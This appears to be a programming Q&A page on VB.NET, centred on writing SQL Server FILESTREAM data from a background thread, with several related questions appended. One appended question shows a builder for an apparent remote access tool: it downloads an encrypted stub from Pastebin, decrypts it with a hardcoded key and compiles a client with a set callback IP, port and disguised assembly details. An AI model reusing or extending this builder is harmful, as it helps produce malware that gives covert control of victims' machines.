SqlFileStream writing in separate thread not working - vb.net
Learning and testing using Sql FILESTREAM for a web app. A client uploads a large file form the web page which takes 'X' time and when fully uploaded shows 100% complete. However, very large files also take time for SqlFileStream to write to the file system so I want to spin off a thread to complete that part. The code I've got seems to work fine but no data ends up in the filestream file.
I'm wrapping the initial record creation in it's own transaction scope and using a separate transaction scope in the thread. In the threaded routine I have the appropriate PathName() and TransactionContext but I assume I'm missing something while using a thread.
I've commented out the normal SqlFileStream call which works fine. Can you see anything wrong with what I'm doing here?
Public Function StoreFileStream()
Dim json As New Dictionary(Of String, Object)
Dim parms As New FileStreamThreadParameters
If HttpContext.Current.Request.Files.Count > 0 Then
Dim file As HttpPostedFile = HttpContext.Current.Request.Files(0)
If "contentType" <> String.Empty Then
Dim fs As Stream = file.InputStream
Dim br As New BinaryReader(fs)
Dim noBytes As New Byte()
Try
Dim filePath As String = ""
Dim trxContext As Byte() = {}
Dim baseFileId As Integer
Using trxScope As New TransactionScope
Using dbConn As New SqlConnection(DigsConnStr)
Using dbCmd As New SqlCommand("ADD_FileStreamFile", dbConn)
dbConn.Open()
Using dbRdr As SqlDataReader = dbCmd.ExecuteReader(CommandBehavior.SingleRow)
dbRdr.Read()
If dbRdr.HasRows Then
filePath = dbRdr("Path")
trxContext = dbRdr("TrxContext")
baseFileId = dbRdr("BaseFileID")
End If
dbRdr.Close()
End Using
' Code below writes to file, but trying to offload this to a separate thread so user is not waiting
'Using dest As New SqlFileStream(filePath, trxContext, FileAccess.Write)
' fs.CopyTo(dest, 4096)
' dest.Close()
'End Using
End Using
dbConn.Close()
End Using
trxScope.Complete()
End Using ' transaction commits here, not in line above
parms.baseFileId = baseFileId
parms.fs = New MemoryStream
fs.CopyTo(parms.fs)
Dim fileUpdateThread As New Threading.Thread(Sub()
UpdateFileStreamThreaded(parms)
End Sub)
fileUpdateThread.Start()
json.Add("status", "success")
Catch ex As Exception
Elmah.ErrorSignal.FromCurrentContext().Raise(ex)
json.Add("status", "failure")
json.Add("msg", ex.Message)
json.Add("procedure", System.Reflection.MethodBase.GetCurrentMethod.Name)
End Try
Else
json.Add("status", "failure")
json.Add("msg", "Invalid file type")
json.Add("procedure", System.Reflection.MethodBase.GetCurrentMethod.Name)
End If
End If
Return json
End Function
Public Class FileStreamThreadParameters
Public Property baseFileId As Integer
Public fs As Stream
End Class
Private Sub UpdateFileStreamThreaded(parms As FileStreamThreadParameters)
Dim filePath As String = ""
Dim trxContext As Byte() = {}
Try
Using trxScope As New TransactionScope
Using dbConn As New SqlConnection(DigsConnStr)
Using dbCmd As New SqlCommand("SELECT FileBytes.PathName() 'Path', GET_FILESTREAM_TRANSACTION_CONTEXT() 'TrxContext' FROM FileStreamFile WHERE Id = " & parms.baseFileId, dbConn)
dbConn.Open()
Using dbRdr As SqlDataReader = dbCmd.ExecuteReader(CommandBehavior.SingleRow)
dbRdr.Read()
If dbRdr.HasRows Then
filePath = dbRdr("Path")
trxContext = dbRdr("TrxContext")
End If
dbRdr.Close()
Using dest As New SqlFileStream(filePath, trxContext, FileAccess.Write)
parms.fs.CopyTo(dest, 4096)
dest.Close()
End Using
End Using
End Using
dbConn.Close()
End Using
trxScope.Complete()
End Using
Catch ex As Exception
'Elmah.ErrorSignal.FromCurrentContext().Raise(ex)
End Try
End Sub
Obviously this is a complex issue. I actually got it to work with the code below. However I eventually abandoned using SQL FILESTREAM altogether due to too much complexity in getting it all set up.
This is an existing web application with the sql server on a different box. After I got the filestreaming to work the next hurdle was authentication setup. Filestream requires Integrated Security on your connection string. Even with windows authentication on our Intranet app, I could not get the web app to use the windows credentials when connecting to the database. It always seemed to use the computer name or the app pool service. I tried many many examples I found on the net and here to no avail. Even if I got that to work then I would want to use and Active Directory group over individual logins which looked to be another hurdle.
This app stores documents in a varbinary column so that full text search can be enabled at some point. The issue was with large files which are generally pictures or videos. Since you can't search text on those anyway the strategy now is to store those on the file system and all other searchable docs (.docx, .pptx, etc) will still be stored in the varbinary. I'm actually sad that I could not get filestream to work as it seems like the ideal solution. I'll come back to it some day but it really should not be so frickin complicated. :-(
The code I got working is:
Dim filePath As String = ""
Dim trxContext As Byte() = {}
Dim baseFileId As Integer
Using trxScope As New TransactionScope
Using dbConn As New SqlConnection(DigsFSConnStr)
Using dbCmd As New SqlCommand("NEW_FileStreamBaseFile", dbConn)
dbCmd.CommandType = CommandType.StoredProcedure
dbCmd.Parameters.AddWithValue("#Title", fileDesc)
dbCmd.Parameters.AddWithValue("#Summary", summary)
dbCmd.Parameters.AddWithValue("#Comments", comments)
dbCmd.Parameters.AddWithValue("#FileName", uploadedFileName)
dbCmd.Parameters.AddWithValue("#ContentType", contentType)
dbCmd.Parameters.AddWithValue("#FileExt", ext)
'dbCmd.Parameters.AddWithValue("#FileBytes", noBytes) ' now that were offloading the file byte storage to a thread
dbCmd.Parameters.AddWithValue("#UploadedByResourceID", uploadedByResourceID)
dbCmd.Parameters.AddWithValue("#UploadedByShortName", uploadedByShortName)
dbCmd.Parameters.AddWithValue("#FileAuthor", fileAuthor)
dbCmd.Parameters.AddWithValue("#TagRecID", tagRecID)
dbCmd.Parameters.AddWithValue("#UserID", samAccountName)
dbCmd.Parameters.AddWithValue("#FileDate", fileDate)
dbCmd.Parameters.AddWithValue("#FileType", fileType)
dbCmd.Parameters.AddWithValue("#FileTypeRecID", fileTypeRecId)
' Save to file system too for xod conversion
file.SaveAs(HttpContext.Current.Server.MapPath("~/files/uploaded/") & uploadedFileName)
dbConn.Open()
Using dbRdr As SqlDataReader = dbCmd.ExecuteReader(CommandBehavior.SingleRow)
dbRdr.Read()
If dbRdr.HasRows Then
filePath = dbRdr("Path")
trxContext = dbRdr("TrxContext")
json.Add("baseFileId", dbRdr("BaseFileID"))
virtualFileRecId = dbRdr("VirtualFileRecID")
dbStatus = dbRdr("status")
If dbStatus = "failure" Then
json.Add("msg", dbRdr("msg"))
End If
End If
dbRdr.Close()
End Using
' Prepare and start Task thread to write the file
If dbStatus = "success" Then
bytes = br.ReadBytes(fs.Length)
Dim task As New System.Threading.Tasks.Task(
Sub()
UpdateNewFileStreamBytes(virtualFileRecId, bytes)
End Sub)
task.Start()
json.Add("status", "success")
Else
json.Add("status", "failure")
End If
End Using
dbConn.Close()
End Using
trxScope.Complete()
End Using ' transaction commits here, not in line above
With the task procedure of:
Private Sub UpdateNewFileStreamBytes(virtualFileRecId As Integer, fileBytes As Byte())
Dim filePath As String = ""
Dim trxContext As Byte() = {}
Try
Using trxScope As New TransactionScope
Using dbConn As New SqlConnection(DigsFSConnStr)
Using dbCmd As New SqlCommand("UPD_FileStreamBaseFile", dbConn)
dbCmd.CommandType = CommandType.StoredProcedure
dbCmd.Parameters.AddWithValue("#VirtualFileRecID", virtualFileRecId)
dbConn.Open()
Using dbRdr As SqlDataReader = dbCmd.ExecuteReader(CommandBehavior.SingleRow)
dbRdr.Read()
If dbRdr.HasRows Then
filePath = dbRdr("Path")
trxContext = dbRdr("TrxContext")
End If
dbRdr.Close()
Using dest As New SqlFileStream(filePath, trxContext, FileAccess.Write)
dest.Write(fileBytes, 0, fileBytes.Length)
dest.Close()
End Using
End Using
End Using
dbConn.Close()
End Using
trxScope.Complete()
End Using
Catch ex As Exception
Elmah.ErrorSignal.FromCurrentContext().Raise(ex)
End Try
Related
how to play music from SQL server using VB.net
I am currently working on a project which is a music player but I am trying to make it work with SQL Server. I have uploaded my music to SQL Server using queries , however the problem is retrieving them. The file type is varbinary(MAX). I tried to go an alternate route where i retrieve the binary in a text file and thereafter convert the file extension to .wav and play it through a media player while the local file being temporary. Private Sub Online_Load(sender As Object, e As EventArgs) Handles MyBase.Load Try Using cn As SqlConnection = New SqlConnection("Server= DESKTOP-8KB6RLJ; Database= TESTdb; Integrated security = true ") cn.Open() Using cmd As SqlCommand = New SqlCommand() cmd.Connection = cn Dim qry As String qry = String.Format("SELECT FileStreamCol From MUSIC") cmd.CommandText = qry cmd.CommandTimeout = 0 Dim oFileStream As System.IO.FileStream oFileStream = New System.IO.FileStream("C:\3N3RGY\bytes.mp3", System.IO.FileMode.OpenOrCreate) Using myReader As SqlDataReader = cmd.ExecuteReader(CommandBehavior.CloseConnection) While (myReader.Read()) Dim data As Byte() = myReader(0) oFileStream.Write(data, 0, data.Length) End While oFileStream.Close() Dim myFiles As String() myFiles = IO.Directory.GetFiles("C:\3N3RGY", "*.txt") Dim newFilePath As String For Each filepath As String In myFiles newFilePath = filepath.Replace(".txt", ".mp3") System.IO.File.Move(filepath, newFilePath) AxWindowsMediaPlayer1.URL = ListBox1.SelectedItem Next End Using End Using End Using Catch ex As Exception End Try End Sub
How can I write decrypted text to a .txt file, add new code, then encrypt the text so that my program can still read it?
I know, the title of this question is horrible, however, let me explain what I'm trying to achieve. Firstly, what does this program do? The program is a remote access tool which uses a stub to build the client which is currently on Pastebin: https://pastebin.com/raw/jFwk2aAL Pretty much, when the user who operates the server, (where all clients are added if they open the file) to build the program they press a button which says "Build". When the "Build" button has been clicked, this code is put into action: Try Dim dialog2 As New SaveFileDialog dialog2.Filter = "Executables | *.exe" dialog2.InitialDirectory = Application.StartupPath dialog2.Title = "Select a path where the stub will be saved..." If (dialog2.ShowDialog = DialogResult.OK) Then Me.TR_Compile = New Thread(New ParameterizedThreadStart(AddressOf Me.lam__10)) Me.TR_Compile.Start(dialog2.FileName) End If dialog2 = Nothing End If Catch ex As Exception Me.StatusBarMain.Text = ex.Message End Try Pretty much, this is where the server operator chooses where to save the file, being the stub (the file the client will open to appear on the server.) Once the stub's location has been saved, this code is put into action: Private Sub Compile(ByVal path As String) Try Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Initializing Build..."}) Dim source As String = Conversions.ToString(FormMain.RijndaelDecrypt(New WebClient().DownloadString("https://pastebin.com/raw/jFwk2aAL"), "308c036ab4ae32ff202d417d1e15cb667326201f4754644509b9079a81")).Replace("127.0.0.1", Me.tb_ip.Text).Replace("4432", Conversions.ToString(Me.nud_port.Value)).Replace("CLIENTID", Me.tb_clientid.Text).Replace("Single_Mutex_App_Instance", Me.TB_Mutex.Text).Replace("ASSEMBLYTITLE", Me.tb_assemblytitle.Text).Replace("ASSEMBLYDESCRIPTION", Me.tb_assemblydescription.Text).Replace("ASSEMBLYCOMPANY", Me.tb_assemblycompany.Text).Replace("ASSEMBLYPRODUCT", Me.tb_assemblyproduct.Text).Replace("ASSEMBLYCOPYRIGHT", Me.tb_assemblycopyright.Text).Replace("ASSEMBLYTRADEMARK", Me.tb_assemblytrademark.Text).Replace("3.5.2.4", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown9.Value, Me.NumericUpDown2.Value, Me.NumericUpDown3.Value, Me.NumericUpDown4.Value})).Replace("0.0.0.0", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown8.Value, Me.NumericUpDown7.Value, Me.NumericUpDown6.Value, Me.NumericUpDown5.Value})).Replace("L$01", Conversions.ToString(Me.CheckBox1.Checked)).Replace("L$02", Conversions.ToString(Me.RadioButton1.Checked)).Replace("L$03", Conversions.ToString(Me.RadioButton2.Checked)).Replace("L$04", Conversions.ToString(Me.RadioButton3.Checked)).Replace("L$05", Me.TextBox1.Text).Replace("L$06", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox2.Text, 4) = ".exe"), Me.TextBox2.Text, (Me.TextBox2.Text & ".exe")))).Replace("L$07", Conversions.ToString(Me.CheckBox2.Checked)).Replace("L$08", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox3.Text, 1) = "\"), Me.TextBox3.Text, (Me.TextBox3.Text & "\")))).Replace("L$09", Conversions.ToString(Me.CheckBox6.Checked)).Replace("L$10", Conversions.ToString(Me.CheckBox3.Checked)).Replace("L$11", Conversions.ToString(Me.CheckBox5.Checked)).Replace("L$12", Conversions.ToString(Me.CheckBox7.Checked)).Replace("L$13", Conversions.ToString(Convert.ToInt32(Me.NumericUpDown1.Value))) Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Writing parameter to stub..."}) Dim compiler As ICodeCompiler = New VBCodeProvider().CreateCompiler Dim options As New CompilerParameters options.ReferencedAssemblies.Add("System.dll") options.ReferencedAssemblies.Add("System.Windows.Forms.dll") options.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll") options.ReferencedAssemblies.Add("System.Management.dll") options.ReferencedAssemblies.Add("System.Drawing.dll") options.ReferencedAssemblies.Add("System.ServiceProcess.dll") options.ReferencedAssemblies.Add("AForge.dll") options.ReferencedAssemblies.Add("AForge.Controls.dll") options.ReferencedAssemblies.Add("AForge.Video.DirectShow.dll") options.ReferencedAssemblies.Add("AForge.Video.dll") options.GenerateExecutable = True options.OutputAssembly = path options.CompilerOptions = "/target:winexe /platform:x86 /optimize+ /filealign:512" Dim parameters2 As CompilerParameters = options parameters2.CompilerOptions = Conversions.ToString(Operators.AddObject(parameters2.CompilerOptions, Interaction.IIf(Operators.ConditionalCompareObjectEqual(Me.PictureBox1.Tag, "", False), "", Operators.ConcatenateObject(" /win32icon:", Me.PictureBox1.Tag)))) Dim results As CompilerResults = compiler.CompileAssemblyFromSource(options, source) Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Stub builded..."}) Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Merging Assemblies..."}) Dim startInfo As New ProcessStartInfo("ILMerge.exe") startInfo.Arguments = String.Concat(New String() {"/target:winexe /out:""", path, """ """, path, """ AForge.Controls.dll AForge.dll AForge.Video.DirectShow.dll AForge.Video.dll"}) startInfo.WindowStyle = ProcessWindowStyle.Hidden Process.Start(startInfo) Thread.Sleep(&HBB8) Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Finished build !"}) File.Delete(path.Replace(".exe", ".pdb")) Catch exception1 As Exception ProjectData.SetProjectError(exception1) Dim exception As Exception = exception1 Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {exception.Message}) ProjectData.ClearProjectError() End Try End Sub In the "Compile" sub, the program downloads a paste made on pastebin which contains some encrypted characters. Then, the program uses this function: Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) As Object Dim managed As New RijndaelManaged Dim salt As Byte() = New Byte() {1, 2, 3, 4, 5, 6, 7, 8} Dim bytes As New Rfc2898DeriveBytes(UKeyU, salt) managed.Key = bytes.GetBytes(managed.Key.Length) managed.IV = bytes.GetBytes(managed.IV.Length) Dim stream2 As New MemoryStream Dim stream As New CryptoStream(stream2, managed.CreateDecryptor, CryptoStreamMode.Write) Try Dim buffer As Byte() = Convert.FromBase64String(UDecryptU) stream.Write(buffer, 0, buffer.Length) stream.Close() UDecryptU = Encoding.UTF8.GetString(stream2.ToArray) Catch exception1 As Exception End Try Return UDecryptU End Function to decrypt the text which is held on pastebin. It works great, however, I want to add my own functions to the stub, but, I can't, because the text is encrypted. So... How can I decrypt this text, edit it myself, then, encrypt it again, upload it to a different paste on pastebin, but all being that my program can decrypt the text and write it too the stub successfully? PLEASE COMMENT BELOW IF SOMETHING ISN'T CLEAR TO YOU. Edit: Changed some text to make this question make sense more.
if else for run file and stream file generate vb.net
How to First Run File seconds stream file in text box via if and else If Process.Start("test.bat") Then Dim address As String = "id.txt" Dim client As WebClient = New WebClient() Dim reader As StreamReader = New StreamReader(client.OpenRead(address)) TextBox1.Text = reader.ReadToEnd End If Note: text file generated via batch file.
Try Dim proc = Process.Start("test.bat") proc.WaitForExit() Using client As New WebClient() TextBox1.Text = client.DownloadString(File.ReadAllText("id.txt")) End Using Catch End Try
String is not assigned in a while loop
I'm reading a file from a FTP server, and I'm trying to use a while loop to assign the next line to a String and check if it's not null (Nothing). The issue is that I'm pretty much used to C#, and this is my first attempt at VB. Can you tell me if I did something wrong that's causing it? Dim request As WebClient = New WebClient() Dim url As String = "ftp://ftp.harelwebs.net/" + "Default.aspx" request.Credentials = New NetworkCredential("USERNAME", "PASS") Try Dim stream As IO.Stream = request.OpenRead(url) Dim sr As StreamReader = New StreamReader(stream) Dim line As String = Nothing While (stream.CanRead And (line = sr.ReadLine()) <> Nothing) MessageBox.Show(line) End While stream.Close() sr.Close() Catch ex As WebException MessageBox.Show("Error.. " + ex.Message) I've tested the same code in C# and it works perfectly, I have no idea why it doesn't work in VB.
Unfortunately you cannot assign a value in VB.NET inside a test clause. The reason being that = is used for both assignment and comparison and it would be very confusing and ambiguous in cases. The solution to your problem would simply be to do this: Dim line As String = sr.ReadLine() While (stream.CanRead And line <> Nothing) MessageBox.Show(line) line = sr.ReadLine() End While If necessary you could wrap the assignment in an if statement if there may be instances where you want to set the line value to Nothing to prevent the loop running.
The process cannot access the file because it is being used by another process.-error while writing to a file in vb.net
in my vb.net code im using streamwriter to write to a file that has been given as input to the form. Dim strContents As String Dim objReader As StreamReader Try objReader = New StreamReader("C:\test.txt") strContents = objReader.ReadToEnd() objReader.Close() Catch Ex As Exception End Try Dim Contents As String Dim bAns As Boolean = False Dim objWriter As StreamWriter Dim FileStream As System.IO.FileStream Try FileStream = New FileStream("C:\test.txt", FileMode.Open, FileAccess.ReadWrite) objWriter = New StreamWriter("C:\test.txt") objWriter.Write("fdgdfgdjkljljklg") objWriter.Close() bAns = True Catch Ex As Exception End Try in some of the systems its working fine but in some other workstations its showing error that mentioned in the subject. What restricts the access to the file here? can anyone help me on this?
What restricts the access to the file here? The fact that you haven't disposed the stream and thus the process is locking the file. A StreamWriter is holding an unmanaged handle to the file. If you don't dispose this handle other threads/process cannot open the file. I would recommend you to always wrap IDisposable resources in Using statement to ensure proper disposal (even if an exception is thrown inside the block): Using filestream As New StreamWriter(Inifile, True, System.Text.Encoding.UTF8) ' ... use the filestream here to write to the file End Using